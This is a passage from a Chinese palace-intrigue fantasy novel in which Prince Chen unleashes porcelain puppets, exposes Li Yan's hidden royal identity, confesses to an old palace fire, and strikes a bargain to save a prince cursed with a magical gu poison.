李琰几乎同时动了,他悄然后撤半步,身形微侧,与慕酌形成一个自然的掎角之势。李琰不知何时已退至廊柱阴影处,掌心扣着的暗器在袖中泛起幽冷光泽。
陈王却恍若未见。他折扇轻转,扇骨抵住自己下颌,目光仍牢牢锁着宛楪,语气近乎呢喃,却字字清晰,敲在每个人心头:
“这煌煌皇城,便是一座巨窑。”
他另一只手缓缓抬起,五指虚握,仿佛在虚空中把玩着什么无形之物。
“陛下是那亟待成型的胎泥,满朝文武是坯土中的砂砾杂质,需反复淘洗、锤炼。”他指尖轻捻,像在搓揉泥土,“而本王……”
他抬眼,眸中第一次燃起某种真实的东西——那不是愤怒,不是得意,而是一种近乎狂热的、扭曲的专注。
“乃是执火控温之人。”
寒风骤烈,卷起廊下积雪,迷了人眼。院角那株覆雪最厚的白梅树后,忽然传来一阵令人牙酸的声响——
“咔……咔咔……”
像是枯枝被踩断,又像是……脆瓷在相互摩擦。
数十个影子,从梅树虬结的枝干后,僵硬地、缓慢地转了出来。
它们高矮不一,形态却诡异得一致——莹白的瓷身,光滑到反光的表面,关节处是明显的接缝,行走时发出“咔嚓、咔嚓”的枯折怪响。它们的脸是一片空白,唯有眼窝处是两个深不见底的黑洞,里面跳跃着幽暗的、仿佛有生命的气息。
与昨夜宫墙下那些碎瓷拼凑出的怪物,一模一样。
只是更多,更完整,更……逼近。
它们一步,一步,踏着积雪,无声却致命地合围而来。空洞的眼窝“望”向众人,没有目光,却让人脊背生寒。
宛楪直面那越来越近的瓷偶群,脸上最后一丝血色也褪尽了,眼神却冷静得骇人。她指尖微动,一缕极淡的青辉自指腹渗出,如萤火缠绕,映亮她冷冽的侧脸轮廓。
她迎着陈王那双仿佛窑火燃烧的眼眸,声音清晰,一字一顿,砸碎满院死寂:
“殿下既以瓷喻天下,可曾想过——”
她向前半步,与慕酌并肩。青辉流转,在她周身勾勒出
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一圈微弱却坚韧的光晕。
“瓷器虽美,若是以邪术浸养,以生魂为祭,以怨气为釉……”
瓷偶已逼近至十步之内,它们抬起僵硬的臂膀,指尖是锋利的瓷刃。
宛楪最后的话语,混着寒风,送入陈王耳中:
“终有一日,窑火反噬,最先被焚尽的……便是那执火的手。”
陈王脸上的笑容,彻底消失了。
他合拢折扇,扇骨轻敲掌心。
“那便试试。”
瓷偶群,骤然加速,扑杀而来。
庭院中的死寂被瞬间撕裂。
瓷偶扑来的刹那,慕酌剑光已如雪瀑绽开,寒锋切开空气的锐啸与瓷刃碰撞的刺耳刮擦声混作一片。
他步伐极稳,每一次格挡与反击都精确到毫厘,将扑向宛楪正面的三具瓷偶死死拦住。但更多的瓷偶从两侧包抄而来,它们动作僵硬却异常迅捷,瓷质的关节在运动中发出令人牙酸的“咔咔”怪响。
宛楪指尖青辉大盛,不再掩饰。光芒如丝如缕,并非硬碰硬的攻击,而是灵巧地缠绕上瓷偶的关节、颈项,试图阻滞它们的行动。青辉触及瓷身,竟发出“滋滋”轻响,仿佛冷水滴入滚油。瓷偶动作明显一滞,眼窝中的黑气剧烈翻腾,发出无声的尖啸。
“它们怕这个!”李琰低喝一声,他手中并无神异光华,但一柄精钢短剑在他手中使出了军中搏杀的狠厉,专攻瓷偶关节接缝处,角度刁钻,力道沉猛。一只瓷偶被他斩中膝弯,踉跄跪倒,但立刻又有两只补上。
混乱中,陈王的身影不知何时已退至廊柱阴影下,他手中折扇轻摇,目光冷漠地扫过战团,最终,落在了李琰身上。那双眼里闪过一丝极难察觉的、混合了审视与某种冰冷了然的光。
他抬起手,指尖在扇骨上某个隐秘的凸起处轻轻一按。
庭院地面微微震动。
那些原本疯狂围攻慕酌与宛楪的瓷偶,动作忽然出现了极其短暂的一滞。紧接着,超过一半的瓷偶,毫无预兆地舍弃了当前目标,如同被无形丝线牵动的傀儡,齐刷刷转向,朝着李琰汹涌扑去!攻势之集中、之猛烈,远超方才!
“小心!”慕酌厉声喝道,试图回援,却被剩下七八具瓷偶死死缠住。这些瓷偶似乎得了指令,不再强攻,只以诡异的配合将他与宛楪隔开,困在一隅。
李琰压力陡增。短剑舞成一片光幕,却挡不住四面八方袭来的瓷刃。嗤啦一声,他肩头锦袍被划开,血珠瞬间渗出,在雪白衣料上晕开刺目的红。他闷哼一声,步伐微乱。
就在这时,围攻他的瓷偶动作忽然变得迟滞,甚至有两具突兀地转向,攻向了原本的“同伴”——虽然很快又被其他瓷偶制住,但这短暂的混乱给了李琰喘息之机。他眼神一凛,抓住空隙,朝战团外疾退。
他所退的方向,正是通往府邸西侧一处偏僻小园的月洞门。而陈王的身影,不知何时已立在那门边,仿佛早已料定他的退路。
李琰脚步在月洞门前顿住。身后是瓷偶摩擦逼近的声响,身前是陈王含笑却冰冷的注视。他握紧短剑,血顺着剑脊缓缓滴落雪地。
陈王却挥了挥手。
那些追至月洞门前的瓷偶,竟齐刷刷停住了脚步,如同真正的雕塑般静立雪中,唯有眼窝里的黑气幽幽跳动,无声地锁定了李琰。
“十三殿下。”陈王开口,声音恢复了先前的温润,甚至带着一丝关切,“受伤了?这些不懂事的玩意儿,下手没个轻重。”他踱步上前,竟从袖中取出一方雪白丝帕,递了过来。
李琰瞳孔瞬间增大,他,知道什么?!
81. 你拿你的命换
“陈王,您说的是什么话?我怎么有些听不懂。”
小园内积雪更深,几株枯树立在假山旁,枝桠嶙峋如鬼爪。
一弯惨淡的下弦月不知何时爬上天际,月光与雪光交织,将园子照得一片清冷诡寂。远处主院方向的打斗声、瓷器的碎裂声隐约传来,更衬得此处死寂。
陈王背对着月光,面容隐在阴影里,唯有那双眼睛亮得惊人,像暗窑里窥视的鬼火。他慢悠悠地用折扇敲着掌心,看着眼前肩头染血的年轻人,语气似感慨,又似试探。
“说起来,自你回宫,本王还未与你好好叙过话。永昌七年冬月之后,便再未见过你了……小十三。”
这声“小十三”叫得突兀又亲昵。李琰心头骤然一紧,面上却纹丝不动,甚至微微蹙眉,露出恰到好处的困惑与疏离:
“王爷……怕是认错人了?末将李琰,蒙陛下恩典,方有今日。微臣岂敢混淆天家血脉?”
他否认得干脆,姿态是不卑不亢的臣子模样,将陈王的话头堵了回去。
陈王低低笑了起来,那笑声里听不出喜怒:“李琰?好,好一个李琰。”
他向前逼近一步,声音压得极低,却带着一种钝刀子割肉般的残忍,一字一句,清晰无比。
“那我提醒你一下。永昌七年,冬月初九,淑妃所居的芷兰宫,子时三刻,突发大火。火势凶猛,扑救不及,淑妃与她年仅五岁的皇子……双双殒命火海,尸身焦黑难辨。先帝哀恸,追封淑妃为惠仪皇贵妃,以亲王礼葬小皇子于妃陵之侧。”
每一个字,都像冰锥,狠狠凿进李琰的耳膜。他握着短剑的手指关节用力到发白,指甲深深掐进掌心,试图用那点锐痛压住胸腔里翻腾的惊涛骇浪。他不能动,不能露出任何破绽,这个秘密是他存活至今、谋划未来的根基,绝不能……
但陈王接下来的话,彻底粉碎了他强装的镇定。
“可谁又知道,”陈王的声音几乎成了气音,带着某种扭曲的快意,“那具小小的焦尸,根本就不是先帝最疼爱的小十三呢?芷兰宫的老太监福海,真是忠心可嘉啊,竟能用自己那患了痨病、本就活不久的小孙子,替了他的小主子。然后趁着夜色,将真正的李琰,送出了那座吃人的皇城……”
“十三皇子殿下,现在还有必要和我扯皮吗?”陈王阴恻恻地笑笑,“我已经认出了你,你又何必管我是怎么知道的。”
李琰沉默良久。
“……皇叔。”
他终于开口,声音沙哑,却异常平静,承认了这个称呼。
陈王脸上的冰冷笑意瞬间如春雪消融,换上了一副近乎痛心疾首的感慨模样,甚至上前一步,仿佛想拍拍他的肩膀,却又在看到他肩头血迹和冰冷眼神时顿住,只是长长叹息一声。
“唉……承认了就好,承认了就好啊。你我叔侄,血脉相连,何苦如此见外,演这些生分戏码?这些年,你在外头,定是吃了不少苦吧?每每思及,皇叔我……心中亦是不忍。”他语气恳切,眼神中竟似真有几分长辈的怜惜。
李琰静静地看着他表演,嘴角极其缓慢地勾起一丝极淡、极冷的弧度,那弧度里没有笑意,只有彻骨的讽刺和疲惫。
“皇叔,”他打断了陈王虚伪的感慨,声音不高,却清晰地穿透了对方刻意营造的温情假象,“事到如今,再演这些情深义重的戏码,又有何用?”
他的目光扫过月洞门外那些如同幽冥守卫般静立不动的瓷偶,它们空洞的眼窝齐齐“望”向园内,散发着无声的威胁。
“您用这些怪物将我困在此处,肩头这道口子,也是拜它们所赐。”他抬手,指尖轻轻拂过伤口边缘凝结的血痂,动作缓慢,带着一种近乎残酷的冷静,“您拿出母亲遗物,揭破我的身份,不会只是为了与我……叙这份迟来了二十年的叔侄旧情吧?”
他抬起眼,目光如淬了冰的刀锋,直直刺向陈王那双伪善的眼:“直说吧,皇叔。您到底,想从我这里得到什么?或者说……您想让我,如何‘配合’您?”
陈王背对着月光,面容隐在阴影里,唯有那双眼睛亮得惊人,像暗窑里窥视的鬼火。
“我要你把解药拿出来。”
李琰有些发愣,“什么?”
陈王嗤笑,很不满意他的反应,“你对你的大哥做了什么,你清楚!”
李琰猛地抬眼看陈王,瞳孔在那一瞬间不受控制地收缩,呼吸也出现了极其短暂的凝滞。
尽管他立刻强行平复,但那瞬间的失态,足以让陈王确认自己的想法。
“怎么?很惊讶我为何知道?”陈王欣赏着他眼中竭力掩饰却依然泄露出的慌乱,嘴角的弧度越发冰冷,“你以为,你真能瞒天过海,做得那般干净利落,不留半点痕迹?”
他微微倾身,气息几乎喷在李琰苍白的脸上,声音轻得像毒蛇吐信:“你还真是心狠,当初我就该在那场大火里直接烧死你,省得你现在祸害胜儿!”
轰——!
仿佛有惊雷在李琰脑中炸开。母亲葬身火海的惨状、福海公公最后那含泪决绝的眼神、二十年来隐姓埋名在边关挣扎求生的艰辛、无数次午夜梦回的血色与灼热……所有的痛苦、所有的坚持,在这一刻,都成了一个荒谬残忍的笑话!
仇人……竟是一直以来看似温文尔雅、与世无争的皇叔!
一股混杂着震骇、狂怒、悲怆的强烈情绪冲垮了他的心防,他喉头涌上一股腥甜,几乎要当场呕出血来。
身体几不可察地晃了一下,方才肩头的伤口此刻传来钻心的刺痛,却远不及心中万一。
陈王满意地看着他骤然失血的面色和眼中翻涌的剧烈情绪,知道自己彻底击中了要害。
他直起身,语气恢复了那种居高临下的冰冷:“所以,我的好侄儿,我给你两个选择。”
他伸出手指,虚虚点了点李琰肩头的伤口,又指向月洞门外那些静立的瓷偶:“第一,乖乖放弃你那点可笑的念头,交出治好胜儿的解药。我可以向陛下请旨,给你一块偏远贫瘠的封地,让你去个谁也找不到的地方,安安稳
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稳当个闲散王爷。”
“第二条路,”陈王的眼神骤然变得阴鸷狠厉,“就是变成它们中的一员。我会让你,还有你那两位朋友,都变成我这窑里,最完美、最听话的‘藏品’。你知道,我有这个能力,也有这个耐心。”
远处主院的打斗声不知何时已停歇。一片令人心悸的寂静蔓延过来,仿佛连风声都凝固了。
李琰站在那里,月光照亮他半边惨白的脸。最初的剧震与慌乱之后,一股更深沉、更冰冷的东西,正从那几乎将他撕裂的痛苦和仇恨中,慢慢凝结。他缓缓抬起眼,看向陈王,那眼神里仍有未散的惊悸,却多了一丝破釜沉舟般的死寂寒意。
他张了张嘴,喉咙干涩得发不出完整的声音,试了两次,才嘶哑地挤出几个字:“做梦。”
这偏僻雪园中的空气,比方才更加凝滞了。
“我不知道你是怎么知道我身份的,但就算我现在手中有能救他的药,我也不会给他。”
“李胜是没做什么对不起我的事情,但是我的母妃,她又做错了什么!”
陈王面色阴沉,“这么说,你是不想救胜儿了。”
李琰笑了,笑中带着一点癫狂的疯感,他的母妃的死,就是他隐忍蛰伏了二十多年,最重要的原因啊!
“我以为是贵妃,原来是你。”
“你和贵妃什么关系?为什么要这么帮他?你可知道谋害嫔妃和皇子是什么后果!”
李琰这句话几乎是吼出来的。
却不想对面的陈王比他还要激动,“我不知道什么后果,我只知道我喜欢的人,被皇兄强抢入宫,三十多年,我见她一面都难!”
“皇兄以为,他有多么的齐人之福,能同时娶了姐姐和妹妹,但是云儿,明明应该是我的王妃!”
“娶了你母妃不够,还要祸害我的云儿,就因为他是皇帝吗?”
陈王似乎陷入了某种悲痛,声音嘶哑,又带着全部的力气,“如果不是因为我,云儿就不会向那个人妥协,被幽禁在宫中,连自己的父兄都不能联系。”
“这也导致……”陈王几乎悲痛欲绝,“导致白家满门忠烈被误会,惨死!流放的过程之中,无一人生还!”
“小十三,你难道不心痛吗,那也是你的外祖父家!”
李琰听到这话,像是卸下去了全身的力气,“算不上吧,我母亲只不过是白府的养女,我和他们也没有什么关系。”
陈往突然又笑了,“侄儿,你难道就不想知道当年到底是怎么回事吗,我承认那场火是我放的!”
“可那又怎么样?”
“我看见大火中你被烧伤出的痕迹,所以后来你偷偷给胜儿下了不知道什么东西,我才会有所警惕,只不过我真的没有想到你还能活着罢了。”
李琰阴沉着脸,看着周围瓷傀,“所以你也知道咱们现在是仇人,你既然爱屋及乌的,连贵妃的孩子也要救,既然这样。”
李琰表情冰冷,带着一丝残忍,“你拿你的命换李胜的命,怎么样?”
82. 凭我敢告诉你
小园内,死寂被陈王低沉而决绝的声音划破。
“好。”陈王吐出这个字,脸上最后一丝伪饰的温文彻底剥落,只剩下一片冰冷的、近乎灰败的决绝。
“拿我的命,换胜儿的命。我应你。”
他向前一步,月光照亮他半边脸,那眼中翻滚着李琰从未见过的、浓烈到化不开的怨毒与痛楚,直直刺向虚空,仿佛穿透了重重宫墙,钉在某个至高无上的身影上。
“但你记着,李琰。这条命,这笔债,源头不在我!是你那高高在上、圣明烛照的父皇!”
听到他能救胜儿,陈王盘算着,还是不能把人完全得罪。
一开始他是想威逼利诱,然后告诉他,他的仇人是自己,和胜儿没有关系,但显然这个人不吃那一套。
李琰的心在听到“父皇”二字的瞬间,猛地一沉,像坠入冰窟,却又奇异地没有太多意外的波澜。
是了,父皇……那个男人。刻薄寡恩,疑心深重,为了权位什么都可以牺牲。
他其实早已窥见那龙袍下的冷酷底色,白家的覆灭、朝中几次不清不楚的清洗,都带着那位帝王惯用的、不容任何人威胁其权威的手笔。
陈王的声音却如淬毒的冰锥,继续凿击着他的耳膜:“是他,听信谗言,构陷忠良,让白家满门碧血染尽长街!”
“是他,疑心深重,冷眼旁观,任由后宫毒火吞噬芷兰宫!他毁了我毕生所爱,碾碎了白家世代忠骨……这滔天的债,迟早,要一笔一笔,跟他算清楚!”
“够了!”
李琰厉声打断,胸膛因剧烈的情绪起伏着,但眼神却比方才更加锐利、清醒,甚至带着一种近乎残忍的冷静。
“陈王,你不必在我面前扮演最苦的那个。父皇是什么样的人,我心里有数。薄情寡义,刻薄阴狠,为了那把椅子,他什么事做不出来?”
只是,将母妃那场“意外”大火也归入这冰冷的手笔之中,确凿地摆到面前,仍让他感到一阵窒息般的、混合着钝痛与果然如此的寒意。
“陈王,你是把我当三岁的孩子,刚才你亲口说的那场火是你放的,你不还后悔没有烧死我吗?怎么现在就成我父王的过失了?”
李琰很不理解,他冷冷开口,“我父皇不算是什么好人,但是你呢,就算是我帮李胜,你做出来的事情也一样要死!”
嘴里面似乎带着弥天的恨意,在这场宫斗的腥风血雨中,像烈火刻进骨子。
“火是我放的,我,我确实收到云儿的通知,这个我承认。”陈王有些心虚,不敢正面看着李琰。
早知道就先不刺激他了。
“但是我当时只是一时激动,我今天叫你来,就是为了救胜儿,我知道,你可能不会相信我说的话。”
“但是你想一想,你的母妃和云儿,几十年来,不是亲姐妹却胜似亲姐妹,情同手足,怎么可能会去害你的母妃呢?”
李琰听着有些恶心,愤怒染上眉头,“你的意思是说你刚才亲口承认的罪行,和我当年亲眼所见都是假的?”
“小十三……”
“你没这个资格这么叫。”
“好。”陈王知道来硬的不行,顺着李琰的话,“李主簿,我之所以跟你说这些,是不想否认自己的罪行,你如果能救胜儿,只要他恢复原样,我任凭你处置。”
“但是事情的真相不是这样的,云儿这些年一直很痛苦!”
“她根本不想伤害你的母妃,这其中一定有误会,你可以和他当面对质!”
“只要,只要你……”
“只要我能救李胜对吧?”李琰冷哼一声,有些嘲讽的开口。
“还有一件事,关于那场火。”
李琰侧目看他,眼神在阴影中晦暗不明。
陈王没有看他,目光投向远处黑黢黢的宫殿轮廓,声音里带着一种压抑了许久的、混合着恨意与某种近乎解脱的冰冷。
“你母妃……淑妃所在的芷兰宫那场大火,真正的具体谋划者,不是后宫那些争风吃醋的妇人,也不是什么‘意外’。”
“云儿,贵妃,只不过是执行者。”
他看着李琰,一字一句道:“是傅恒。是如今稳坐丞相之位、三皇子嫡亲的舅父,傅恒。”
“是他亲自安排的。”
陈王的声音毫无起伏,像是在陈述一件与己无关的旧事,只有眼中跳动的幽光泄露了情绪,“纵火的人,误导救火方向的手段,事后清理痕迹、统一口径……都是他一手操办。皇帝……你的父皇,只需要在合适的时机,流露出对白家可能‘死灰复燃’的一丝‘忧心’,或者仅仅是对一个妃嫔‘过度’的‘冷落’。”
“自然就有傅恒这样的人,揣摩上意,急不可耐地去充当那把最锋利的刀。”
他看向李琰,嘴角扯出一个讥诮的弧度:“是不是觉得更讽刺了?你的杀母仇人之一,如今正冠冕堂皇地立于朝堂之首,受百官敬仰,说不定……还在盘算着如何将下一个可能威胁他外甥地位的皇子,也一并除去。”
李琰没有说话,只是静静地站着。
寒风卷起他鬓角的碎发,拂过苍白如雪的脸颊。最初的震怒过去后,一种更沉重、更冰冷的杀意,如同地底缓慢流动的寒泉,在他心底蔓延开来。
父皇是根源,傅恒是刽子手,还有那些可能参与或默许的帮凶……这张沾满鲜血的网,原来铺得这样大,这样密。
“你凭什么证明这是真的?”
“凭我可以毫无保留的告诉你,那场火是我放的,是贵妃让我这么做的,但是不是她想这么做。”
“……所以,”李琰缓缓开口,声音在寒夜里显得异常清晰平稳,“贵妃要告诉我的‘真相’里,也包括傅恒在这件事里的具体角色?”
“她知道傅恒是执行者之一。”陈王肯定道,“当年事发前后,傅恒及其党羽在宫中的异常活动,她或许有所察觉,只是当时不明所以。”
“后来在冷宫里,有了你的线索,加上她自己这些年暗中的痛苦回忆与拼凑,很多东西才渐渐清晰起来。她恨皇帝,也绝不会放过傅恒。”
李琰点了点头,没有再追问。这个信息,如同又一块沉重的拼图,嵌入了那幅名为“复仇”的黑暗图景之中。
恨意是真的,但李琰的头脑在最初的震荡后飞速运转。
陈王的话,与他暗中查到的某些蛛丝马迹隐隐吻合,尤其是关于当今丞相傅恒当年异常活跃、与宫中及军中某些势力过从甚密的线索。
这增加了陈王所言的分量,但不足以让他完全信任。他需要更多,更需要展现自己的价值,掌握主动权。
陈王叹了一口气,眼中痛色交织,声音嘶哑:“可怜云儿,到现在才知道当年白家最后那封求救信石沉大海,知道皇帝从头到尾都盼着白家倒下!”
“她知道?”
李琰冷哼一声,眼神锐利如刀,“那你呢?”
“你可知道,她自己的儿子,大皇子李胜,是怎么变成如今这副不人不鬼的模样的?”
陈王瞳孔骤缩,声音陡然紧绷:“你什么意思?胜儿他……是遭了邪术……”
“不是简单的邪术,”李琰打断他,声音清晰冰冷,每一个字都像冰珠子砸在雪地上。
“是赤魔蛊。”
“此蛊阴毒无比,中者初期嗜血狂躁,力量暴增,看似威猛,实则心智被逐步侵蚀,最终六亲不认,沦为只知杀戮、毫无人性的傀儡。而第一个,往往也是最大的受害者,就是下蛊者血脉相连的至亲。”
陈王脸色瞬间惨白如纸,身体几不可察地晃了一下,声音发颤:“赤魔蛊……是谁?!谁对胜儿下此毒手?!”
李琰盯着他,一字一句,揭开了更残酷的真相:“下蛊之人,正是他的生母,你的旧情人,我的姨母,贵妃娘娘。”
“不可能!”陈王几乎要扑上来,眼中布满血丝,“她怎么会……那是她亲生儿子!”
“是啊,亲生儿子。”
李琰的语气带着一种近乎残酷的平静,“所以,她最初
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并非想害他,而是想救他。当年李胜体弱多病,几度垂危,太医院束手无策。”
“是你的好皇兄,我的好父皇,‘赐’下了一味号称能起死回生的‘金丹’。贵妃起初感激涕零,但后来起了疑心,暗中查验,发现那根本不是什么救命灵药,而是缓慢侵蚀五脏、让人在极度痛苦中衰弱而死的剧毒!”
陈王如遭雷击,踉跄着后退,背靠冰冷的梅树,震落簌簌积雪。
李琰继续道:“她不敢不用,抗旨是死。也不敢声张,揭穿皇帝更是灭顶之灾。”
“走投无路之下,她不知从何处寻到了一种名为‘赤魔’的蛊。此蛊发作前期,能强行激发人体生机,掩盖中毒衰弱的迹象。她想用这饮鸩止渴的方法,暂时保住李胜的命,争取时间寻找真正的解药。”
他顿了顿,声音更冷,“可惜,她低估了这赤魔蛊的霸道,也高估了自己控制局面的能力。蛊毒反噬,李胜心智渐失,变得狂暴嗜血,最终成了如今这副模样。”
“而贵妃,也因此被皇帝以‘教养无方’、‘德行有亏’为由,打入了冷宫。”
陈王靠着梅树,仿佛浑身的力气都被抽空了,眼中是巨大的痛苦和难以置信:“她……她为什么不告诉我……为什么……”
“告诉你?”李琰嘴角勾起一丝讥诮,“告诉你,你以为你是谁啊!”
他看着陈王失魂落魄的样子,抛出了最关键的信息:“不过,她能出冷宫,倒是与我有点关系。我回宫后暗中查探,查到了一些当年白家旧事,也查到了一点关于李胜‘病情’的异样。”
“我设法递了些消息进冷宫。她这才知道,当年白家覆灭前那封最后的求救信,确实被截下了,根本不曾到她手中。”
“她也更清晰地意识到,自己当初那个绝望的选择,究竟造成了多么可怕的后果。”
陈王猛地抬起头,死死盯住李琰,眼中光芒剧烈闪烁:“你……你查到了这些?那你可知,胜儿……胜儿如今,可还有救?”
最后几个字,几乎带着哀求。
李琰沉默片刻,迎着陈王迫切的目光,缓缓道:“赤魔蛊霸道阴毒,根除极难。但并非完全没有一线生机。能暂时压制蛊毒,防止其进一步侵蚀神智、甚至为后续拔除争取时间的关键之物或方法。”
“据我所知,此刻就在主院之中,在我的两位朋友手中。他们对此类阴毒之物或许确有克制之法。”
陈王的呼吸骤然急促,如同溺水之人抓住了最后一根浮木:“当真?!他们……他们真能有办法?”
“我不能保证一定可以救他,”
李琰语气慎重,“但这是目前看来,最有可能稳住李胜状况、争取时间的机会。”
“所以,陈王,我们的交易可以更具体一点。我现在身份不便,宫中腥风血雨你,你带我去见贵妃,我要亲耳听到当年的真相,验证你所说的一切。而我会尽力,尝试帮助李胜。”
“至少,不能让他彻底变成没有神智的怪物,或者……成为某些人手中更趁手的刀。”
陈王胸膛剧烈起伏,眼中挣扎、痛苦、希冀、警惕交织。
良久,他缓缓站直身体,尽管脸色依旧灰败,但那股属于王爷的深沉气度重新凝聚,只是其中多了几分孤注一掷的决绝。
“……好。”他声音沙哑,“我带你去见她。但记住你的承诺。若胜儿有一线生机……过往恩怨,我们可以暂且搁置。”
李琰毫不退缩地迎上他的目光,“若我发现你或贵妃另有图谋,李胜,我会让他后悔生出来,而且,你们……。”
他没有说完,但眼中闪过的寒光说明了一切。
两人不再多言,一前一后,踏着被月光照得惨白的积雪,朝着主院深处那灯火微明的偏殿走去。
雪地上的脚印,深深浅浅,预示着即将揭开的,不仅是尘封的血仇,还有一线微弱却不容忽视的、关于救赎与反击的可能。
而主院中,慕酌与宛楪的存在,成了这盘死局中,唯一可见的变数。
83. 不知道为什么帮他
两人脚步放得极轻,踏过发白的石阶,迅速回到主院。
院中战斗的痕迹已被粗略掩去,碎裂的瓷片扫到了角落,空气中仍弥漫着一丝若有若无的甜腻焦糊味,与清冷的雪气混杂,形成一种诡异的不协调感。
慕酌与宛楪并未放松警惕,慕酌持剑立于廊下阴影处,身形几乎与廊柱融为一体,唯有目光如寒星,精准地落在走近的两人身上。宛楪则稍靠前些,指尖残余的微末青辉尚未完全消散,映得她侧脸轮廓柔和却紧绷。
见李琰与陈王一同返回,且李琰肩头虽染血,神色却不见先前那般紧绷欲裂的杀意,慕酌眼中掠过一丝极快的审视,宛楪也微微蹙起了眉。
陈王率先开口,声音压得很低,却足够清晰,打破了院中凝滞的气氛:“大皇子……一直在我府上地下秘室。他如今的模样,见不得人,亦恐引人生疑,故而一直藏匿其中。”
慕酌眉头几不可察地一蹙,目光锐利地看向陈王:“既如此隐秘,王爷又何必大张旗鼓,以赏瓷之名将我等请来府中?”
陈王面上毫无波澜,甚至扯出一丝属于亲王的、略带冷诮的弧度:“本王乃陛下亲弟,当朝亲王。一纸请柬,你们若来,自然省事。若不来……”
他顿了顿,目光扫过慕酌和宛楪,“以下犯上、藐视皇亲的罪名,再加上些许‘证据’,请你们‘过府一叙’,也非难事。”这话说得直白而阴沉,毫无掩饰其中的威胁与算计。
李琰在一旁沉默着,算是默认了这种说法。此刻不是纠结这些的时候。
众人不再多言,气氛沉闷地跟着陈王,穿过几重曲折的回廊,来到主院后方一处极为隐蔽的假山石旁。
陈王在几块看似寻常的山石上以特定顺序按动,假山底部悄然滑开一道仅容一人通过的狭窄入口,一股更加浓郁阴寒、夹杂着淡淡血腥与某种腐败甜香的气息立刻涌出,与地面上清冽的雪气形成鲜明对比,令人作呕。
地下甬道狭窄而陡峭,壁上嵌着的并非寻常灯烛,而是一种散发着幽绿色暗光的矿石,光线惨淡,将人的影子拉得扭曲晃动。
四周摆放着一些蒙尘的旧物,式样古朴,不似近世之物,在这诡谲绿光映照下,形同鬼魅遗存。
甬道尽头是一间不大的石室。阴邪之气在这里几乎凝成实质,冰冷刺骨。
室角,一人蜷缩在冰冷的石板上,身形以一种极其不自然的姿态扭曲着,仿佛全身骨骼都曾被巨力拧碎又胡乱拼接。
他面目狰狞,五官移位,皮肤呈现出一种死气沉沉的青黑之色,皮下的血管贲张蠕蠕,如同无数细小的活物在皮肤下游走。气息微弱至极,时断时续,真如风中残烛,下一刻便要彻底熄灭。
正是失踪已久的大皇子李胜。
宛楪的目光落在李胜身上,心头一紧。
这阴邪之气比她预想的还要污浊霸道,不仅侵蚀肉身,更在疯狂啃噬生机与灵魂。
“如何?可能救他?”陈王的声音紧绷,目光死死钉在慕酌和宛楪脸上,那份属于王爷的威严此刻已被焦灼取代。
慕酌没有立刻回答。他缓步上前,在距离李胜几步远处停下,仔细审视片刻,面色凝重。
随后,他从怀中取出一个看似普通的锦囊,解开系绳,里面是一只小巧的玉盒。他打开玉盒,室内幽绿的光线仿佛被什么吸引,微微波动了一下。玉盒中央,静静躺着一片花瓣。那花瓣非金非玉,质地奇异,散发着一种与周围阴邪格格不入的、柔和却坚韧的微光,只是那光芒已十分黯淡,边缘甚至有些虚幻,似随时会化作光点消散。
宛楪的心猛地一沉。之前在皇城外看见的时候是远处匆匆一瞥,现在慕酌拿出来,她才看清楚。
那是她以本源法力凝成的“青灵护心瓣”,使用的法力更多,是丁灵拜托她做的,说是要做镇店之宝,整个南国算上丁灵手里也不过三朵,慕酌到底什么身份……
此刻花瓣光华黯淡,凝聚的法力逐渐在消散,是因为制作时间太久,护心花没那么长的保存时间。
慕酌小心翼翼地用指尖捻起那轻薄如无物的花瓣,动作轻柔得仿佛对待易碎的梦境。他俯身,将花瓣轻轻置于李胜剧烈起伏、青黑血管狰狞的胸膛正中。
花瓣触及皮肤的刹那,微弱的光芒似乎跳动了一下,随即,那柔光如同浸润般,缓缓渗入李胜的皮肉之下。
一股极淡却清灵的气息散开,暂时驱散了周遭些许令人不适的甜腻。李胜剧烈抽搐的身体,竟肉眼可见地缓缓平复下来,狰狞扭曲的面容线条也略微松弛,虽然依旧可怖,却少了那份濒临彻底疯狂的躁动。微弱的气息,似乎也凝实了一丝。
陈王紧紧攥着的拳头松开了些许,眼中迸发出希冀的光芒。李琰也暗暗松了口气,看来慕酌所言非虚,至少能暂时稳住李胜的状况。
“眼下只能暂时压制,争取时间。”慕酌直起身,声音沉稳,“赤魔蛊根深蒂固,阴邪侵体已深,非一时可解。需从长计议,找到拔除蛊毒、净化邪气的根本之法。”
李琰看向陈王,眼神交汇,彼此明了。“既然如此,”李琰开口,声音恢复了惯常的冷静,“我们便按方才所言,准备下一步。时间不等人。”
陈王重重点头,又转向慕酌与宛楪,语气郑重:“还请二位暂留府中。胜儿情况未稳,后续……或许还需仰仗二位之力。府中之事,也需人坐镇。”
这话半是请求,半是暗示他们已卷入太深,此刻抽身不易。
慕酌与宛楪对视一眼。慕酌几不可察地点了下头,宛楪也轻声应道:“王爷放心,我们既已至此,自当尽力。”
商议既定,陈王与李琰先行离去,准备后续事宜。石室中只剩下慕酌、宛楪,以及石板上气息微弱的大皇子。幽绿的光线下,寂静得只能听到李胜偶尔艰难抽气的声音。
宛楪看着李胜胸口那几乎看不见的微光,心中忧虑更甚。
这片花瓣耗尽,李胜恐怕立刻会被反噬,情况更糟。而她清楚,慕酌手中只有这一片。必须再凝一片……趁现在还有些余力。
她悄然深吸一口气,压下灵台传来的细微眩晕感,转头对慕酌道:“此地气闷,我出去透透气。”声音尽量放得平缓自然。
慕酌正低头审视着李胜的状况,闻言抬眼看向她。地下幽绿的光映在他深邃的眸中,看不清具体情绪,只觉那目光沉静而专注,在她略显苍白的脸上停留了一瞬。“小心些。”他低声道,语气如常,却并未阻拦。
宛楪微微颔首,转身沿着来时的狭窄甬道快步离去。她并未在假山外多做停留,而是凭着记忆和感知,寻到了离主院稍远、靠近府墙的一处偏僻小园。
园中也有积雪,但无人打理,荒草枯枝半掩于雪下,更显寂寥。一株老梅虬枝盘结,在月光下投下张牙舞爪的影子。
她快步走到梅树之后,背靠冰冷的树干,确保四周无人窥视。寒风卷着雪沫刮过脸颊,带来刺痛,却也让她精神一振。她闭上眼睛,双手在身前结出一个极其复杂古老的手印,指尖微微颤抖。
凝聚“青灵护心瓣”需抽取本源灵力,过程并不轻松。一丝丝冰蓝色的光华自她丹田处缓缓升起,沿着经脉流转,逐渐向胸前汇聚。那光华纯净而凛冽,与地下石室的阴邪之气截然相反。随着光华汇聚,她的脸色以肉眼可见的速度变得更加苍白,额角渗出细密的冷汗,在月光下泛着微光。
